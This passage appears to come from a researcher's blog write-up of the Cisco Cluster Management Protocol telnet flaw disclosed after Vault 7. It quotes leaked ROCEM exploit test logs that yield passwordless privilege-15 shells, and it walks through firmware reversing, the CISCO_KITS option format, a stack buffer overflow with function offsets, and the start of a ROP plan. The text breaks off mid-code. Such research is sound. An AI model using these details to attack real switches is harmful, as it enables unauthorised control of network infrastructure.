&lt;p&gt;The Vault 7’s documents shed a light on the testing process for the actual exploit. No exploit source code is available in the leak. Two use cases are highlighted there - the tool can be launched in either interactive mode or set mode. The interactive mode sends the payload via telnet and immediately presents the attacker with command shell in the context of the same telnet connection. Quote from the &lt;a href=&quot;https://wikileaks.org/ciav7p1/cms/page_23134373.html&quot;&gt;doc&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Started ROCEM interactive session - successful:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin
****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************
Proceed? (y/n)y
Trying 127.0.0.1...
[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[+] Connection established
[*] Starting interactive session
User Access Verification
Password:
MLS-Sth#

MLS-Sth# show priv
Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40
Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Set mode. Modify switch memory in order to make any   &lt;br /&gt;
subsequent telnet connections passwordless. Quote from the &lt;a href=&quot;https://wikileaks.org/ciav7p1/cms/page_24969226.html&quot;&gt;doc&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Test set/unset feature of ROCEM
DUT configured with target configuration and network setup
DUT is accessed by hopping through three flux nodes as per the CONOP
Reloaded DUT to start with a clean device
From Adverse ICON machine, set ROCEM:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin

****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set
****************************************

Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

Verified I could telnet and rx priv 15 without creds:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.

MLS-Sth#

MLS-Sth#show priv
Current privilege level is 15
MLS-Sth#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One piece of information being useful for me in researching this vulnerability was a telnet debug output. Quote from the &lt;a href=&quot;https://wikileaks.org/ciav7p1/cms/page_17760327.html&quot;&gt;doc&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 
  1.Enabled debug telnet on DUT
  2.Set ROCEM
  3.Observed the following:
    000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused)
    000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32)
    000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
    000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33)
    000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
    000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented)
    000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
    000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented)
    000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
    000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented)
    000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
    000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35)
    000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
    000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29
    000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X
    000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note the &lt;code class=&quot;highlighter-rouge&quot;&gt;CISCO_KITS&lt;/code&gt; option received by the service on the last line. This proved to be an important string.&lt;/p&gt;

&lt;h2 id=&quot;cisco-advisory&quot;&gt;Cisco advisory&lt;/h2&gt;

&lt;p&gt;On March 17th 2017 Cisco Systems &lt;a href=&quot;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp&quot;&gt;disclosed&lt;/a&gt; a vulnerability present in their switches. This disclosure was based on the documents from Vault 7:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not much details were available at the time of writing this article, except for the following paragraph:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;The failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device, and&lt;/li&gt;
    &lt;li&gt;The incorrect processing of malformed CMP-specific Telnet options.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Long story short, the vulnerability allows the attacker to exploit telnet service to gain remote code execution on the target switch. But in order to make any use of this advisory I needed more information on the matter. So I decided dig deeper into Cisco Cluster Management Protocol.&lt;/p&gt;

&lt;h2 id=&quot;switch-clustering&quot;&gt;Switch clustering&lt;/h2&gt;

&lt;p&gt;All right! I had two Catalyst 2960 switches for researching this vulnerability. Clustering sets a master-slave relation between switches. Master switch is able to get a privileged command shell on the slave. As Cisco mentioned in its advisory, telnet is used as a command protocol between cluster members. Some info on clustering can be found &lt;a href=&quot;http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3750x_3560x/software/release/12-2_55_se/configuration/guide/3750xscg/swclus.pdf&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://slaptijack.com/networking/cisco-catalyst-configuration-using-cluster-commands/&quot;&gt;here’s&lt;/a&gt; an example of setting up a cluster environment.&lt;/p&gt;

&lt;p&gt;Now to look for cluster traffic between them. The following should be in the master switch config:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cluster enable CLGRP 0
cluster member 1 mac-address xxxx.xxxx.xxxx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will add a nearby switch as a cluster slave. &lt;code class=&quot;highlighter-rouge&quot;&gt;rcommand &amp;lt;num&amp;gt;&lt;/code&gt; allows to get command interface on a slave switch from the master’s interface. This is expected by design.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;catalyst1&amp;gt;rcommand 1
catalyst2&amp;gt;who
    Line       User       Host(s)              Idle       Location
*  1 vty 0                idle                 00:00:00 10.10.10.10

  Interface      User        Mode                     Idle     Peer Address
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s look at the traffic generated by &lt;code class=&quot;highlighter-rouge&quot;&gt;rcommand&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/llc_traffic.png&quot; alt=&quot;llc&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hey! Where da hell is telnet traffic? Advisory clearly states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ok, running &lt;code class=&quot;highlighter-rouge&quot;&gt;show version&lt;/code&gt; to see some more traffic:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;catalyst2&amp;gt;show version
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Aha! Telnet traffic is actually being encapsulated into layer 2 LLC packet. If we look close enough we will notice IP packets inside with chopped MAC addresses at source and destination fields. Inside those “IP” packets reside valid TCP frames with a telnet session.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/show_ver_cluster.png&quot; alt=&quot;show version in cluster traffic&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A telnet session is usually preceded by negotiating telnet options. Among them are: terminal size, terminal type etc. Take a look at the &lt;a href=&quot;https://tools.ietf.org/html/rfc854&quot;&gt;RFC&lt;/a&gt; for more info.&lt;/p&gt;

&lt;p&gt;Right before being presented with the welcome &lt;code class=&quot;highlighter-rouge&quot;&gt;catalyst2&amp;gt;&lt;/code&gt; message an interesting telnet option is transfered to the server side:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/cisco_kits_traffic.png&quot; alt=&quot;cluster magic string option&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here you can see a telnet option “CISCO_KITS” sent from the master switch to the slave. The very same string present in the Vault 7 documents during the execution of exploit. Time to take a closer look at the switch internals.&lt;/p&gt;

&lt;h2 id=&quot;peeking-at-firmware&quot;&gt;Peeking at firmware&lt;/h2&gt;

&lt;p&gt;Firmware is located at &lt;code class=&quot;highlighter-rouge&quot;&gt;flash:&amp;lt;version&amp;gt;.bin&lt;/code&gt; on the switch.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;catalyst2#dir flash:
Directory of flash:/

    2  -rwx     9771282   Mar 1 1993 00:13:28 +00:00  c2960-lanbasek9-mz.122-55.SE1.bin
    3  -rwx        2487   Mar 1 1993 00:01:53 +00:00  config.text
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Built-in ftp client allows to transfer this firmware to an arbitrary ftp server. Ok, now to analyze and extract contents of the file with &lt;a href=&quot;https://github.com/devttys0/binwalk&quot;&gt;binwalk&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
112           0x70            bzip2 compressed data, block size = 900k
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to facilitate static analysis of the resulting binary we better know the firmware load offset. This offset is printed to serial console during boot process:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Loading &quot;flash:c2960-lanbasek9-mz.122-55.SE1.bin&quot;...@@@@@@@@@@@@@@@@@@@@@@
File &quot;flash:c2960-lanbasek9-mz.122-55.SE1.bin&quot; uncompressed and installed,
entry point: 0x3000
executing...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Fire up IDA and let’s roll. CPU architecture is PowerPC 32-bit BigEndian. Load the binary at 0x3000:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/ida_offset.png&quot; alt=&quot;ida offset&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;discovering-strings&quot;&gt;Discovering strings&lt;/h3&gt;

&lt;p&gt;Remember the &lt;code class=&quot;highlighter-rouge&quot;&gt;CISCO_KITS&lt;/code&gt; string in the cluster traffic I captured before? This was my starting point. After discovering most of the functions in IDA, I was able to see the cross-refrences to the strings located at the end of firmware.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/ida_cisco_kits.png&quot; alt=&quot;ida cisco kits string&quot; /&gt;&lt;/p&gt;

&lt;p&gt;“CISCO_KITS” string is referenced by &lt;code class=&quot;highlighter-rouge&quot;&gt;return_cisco_kits&lt;/code&gt; function, which just returns this string as &lt;code class=&quot;highlighter-rouge&quot;&gt;char *&lt;/code&gt;. We will focus out attention on on the &lt;code class=&quot;highlighter-rouge&quot;&gt;call_cisco_kits&lt;/code&gt; function at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0004ED8C&lt;/code&gt; which calls &lt;code class=&quot;highlighter-rouge&quot;&gt;return_cisco_kits&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/ida_proximity1.png&quot; alt=&quot;ida proximity&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Because telnet code is rather symmetrical for client and server here we actually can see the format of the buffer that is being sent to the server side - &lt;code class=&quot;highlighter-rouge&quot;&gt;%c%s%c%d:%s:%d:&lt;/code&gt;. This actually goes in line with the observed traffic where the sent buffer was &lt;code class=&quot;highlighter-rouge&quot;&gt;\x03CISCO_KITS\x012::1:&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;telnet_struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;is_client_mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// client mode? then send &quot;CISCO_KITS&quot; string
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;telnet_struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;is_client_mode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;cisco_kits_string_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;return_cisco_kits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;int_two&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;return_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;tty_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_from_tty_struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tty_struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tty_struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field_6D1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;format1_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;format_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                               &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
                               &lt;span class=&quot;s&quot;&gt;&quot;%c%s%c%d:%s:%d:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;n&quot;&gt;cisco_kits_string_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;n&quot;&gt;int_two&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;n&quot;&gt;tty_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;telnet_struct&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_send_sb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                                         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                         &lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                         &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                         &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
                                         &lt;span class=&quot;n&quot;&gt;format1_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                         &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                         &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                         &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice something? There are two &lt;code class=&quot;highlighter-rouge&quot;&gt;%s&lt;/code&gt; string modifiers but only one string is actually present in the traffic sample which is &lt;code class=&quot;highlighter-rouge&quot;&gt;CISCO_KITS&lt;/code&gt;, the second one is empty and is confined between two &lt;code class=&quot;highlighter-rouge&quot;&gt;:&lt;/code&gt; chars. Further observing the control flow of the very same function I noticed some funny behaviour when dealing with the second string (this time the server-side portion of the code):&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;':'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string_buffer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// put data before second &quot;:&quot; at &amp;amp;str_buf + 152
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;str_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;152&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The data we sent over in the second %s string is actually copied until &lt;code class=&quot;highlighter-rouge&quot;&gt;:&lt;/code&gt; char without checking the destination boundaries while the target buffer resides on the stack. What does this look like? Correct! &lt;del&gt;Buffalo&lt;/del&gt; buffer overflow!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/buffalo_overflow.png&quot; alt=&quot;buffalo overflow&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;getting-code-execution&quot;&gt;Getting code execution&lt;/h2&gt;

&lt;p&gt;Getting control of the instruction pointer was easy as it was overwritten with the buffer I sent (btw I used &lt;a href=&quot;https://github.com/nccgroup/IODIDE&quot;&gt;IODIDE&lt;/a&gt; for debugging). The problem was that heap and stack (which resides on the heap) were not executable. My best bet is that this is actually the effect of data and instruction caches enabled. Here’s a slide from Felix Lindner’s &lt;a href=&quot;https://www.blackhat.com/presentations/bh-usa-09/LINDNER/BHUSA09-Lindner-RouterExploit-SLIDES.pdf&quot;&gt;presentation&lt;/a&gt; at BlackHat 2009:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/caches.png&quot; alt=&quot;powerpc caches&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;roping-a-way-out&quot;&gt;ROPing a way out&lt;/h3&gt;

&lt;p&gt;Since there wasn’t a way to execute code on the stack I had to use it as a data buffer and reuse existing code in the firmware. The idea is to chain function epilogs in a meaningful way to perform arbitrary memory writes. But wait, write what? Take a look at the decompiled function at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00F47A34&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr_is_cluster_mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tty_struct_var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;telnet_struct_var&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tty_struct_var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
